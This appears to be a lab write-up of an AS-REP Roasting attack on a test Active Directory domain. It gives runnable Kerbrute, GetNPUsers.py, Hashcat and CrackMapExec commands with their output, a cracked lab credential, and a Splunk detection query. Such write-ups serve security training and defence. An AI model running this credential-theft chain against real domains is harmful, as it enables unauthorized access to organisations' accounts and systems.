All Projects
Offensive Lab Active Directory Kerberos 10–15 min read

AS-REP Roasting Attack
Unauthenticated Domain Credential Access

Unauthenticated user enumeration, AS-REP hash extraction from a pre-auth disabled account, offline password cracking in under 2 minutes — valid domain credentials obtained without ever authenticating to the domain.

Engagement Overview

Executive Summary

Starting with nothing but network access to the domain, user enumeration via Kerbrute identified five valid domain accounts including asrep.user — an account with Kerberos pre-authentication disabled. The AS-REP hash was extracted without supplying any credentials. Hashcat cracked the hash in 1 minute 46 seconds using rockyou.txt. Valid domain credentials obtained: asrep.user:ASREPRoast1!.

Attack Chain

01
Unauthenticated Enumeration
Kerbrute username spray against ad.lab — identified 5 valid usernames
02
AS-REP Hash Extraction
GetNPUsers.py — extracted AS-REP hash from asrep.user without credentials
03
Offline Password Cracking
Hashcat mode 18200 — password cracked in 1 min 46 sec using rockyou.txt
04
Domain Access
Credentials validated with CrackMapExec — multiple escalation paths now available

Phase 1 — Unauthenticated User Enumeration

Kerbrute sends AS-REQ packets to the domain controller and identifies valid usernames based on Kerberos error responses — without ever authenticating. Invalid usernames return KDC_ERR_C_PRINCIPAL_UNKNOWN; valid usernames return a different response code, confirming existence.

kerbrute userenum --dc 10.80.80.2 -d ad.lab /usr/share/wordlists/usernames.txt

[*] Valid user => john.smith
[*] Valid user => asrep.user
[*] Valid user => svc_sql
[*] Valid user => svc_backup
[*] Valid user => admin

Phase 2 — AS-REP Roasting Attack

AS-REP Roasting exploits accounts that have Kerberos pre-authentication disabled. Normally, a client must prove knowledge of its password before the KDC issues an AS-REP ticket. With pre-auth disabled, the KDC will issue a ticket to anyone — the ticket is encrypted with the user's password hash, which can be extracted and cracked offline.

# Extract AS-REP hashes — no credentials required
GetNPUsers.py ad.lab/ -usersfile valid_users.txt -dc-ip 10.80.80.2 -no-pass -format hashcat

$krb5asrep$23$asrep.user@AD.LAB:a1b2c3d4e5f6...

The returned hash is in Hashcat mode 18200 format ($krb5asrep$23$) — ready for offline cracking.

Phase 3 — Offline Password Cracking

hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt --force

$krb5asrep$23$asrep.user@AD.LAB:[hash]:ASREPRoast1!

Session..........: hashcat
Status...........: Cracked
Time.Estimated...: 0 secs (1 min, 46 secs elapsed)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)

Credentials obtained: asrep.user:ASREPRoast1!

Phase 4 — Domain Access

# Validate credentials
crackmapexec smb 10.80.80.2 -u asrep.user -p ASREPRoast1!

SMB   10.80.80.2  445  DC01  [+] AD.LAB\asrep.user:ASREPRoast1!

With valid domain credentials, escalation paths now available include: Kerberoasting service accounts, AD enumeration with BloodHound, lateral movement, and credential spraying against other accounts.

AS-REP Roasting vs. Kerberoasting

Findings & Remediation

Detection

# Splunk — Detect AS-REP Roasting (Event ID 4768 without pre-auth)
index=security EventCode=4768 
PreAuthType=0
| stats count by TargetUserName, IpAddress
| where count > 5
| sort -count

MITRE ATT&CK Mapping

Tools Used

Kerbrute
Impacket GetNPUsers.py
Hashcat
CrackMapExec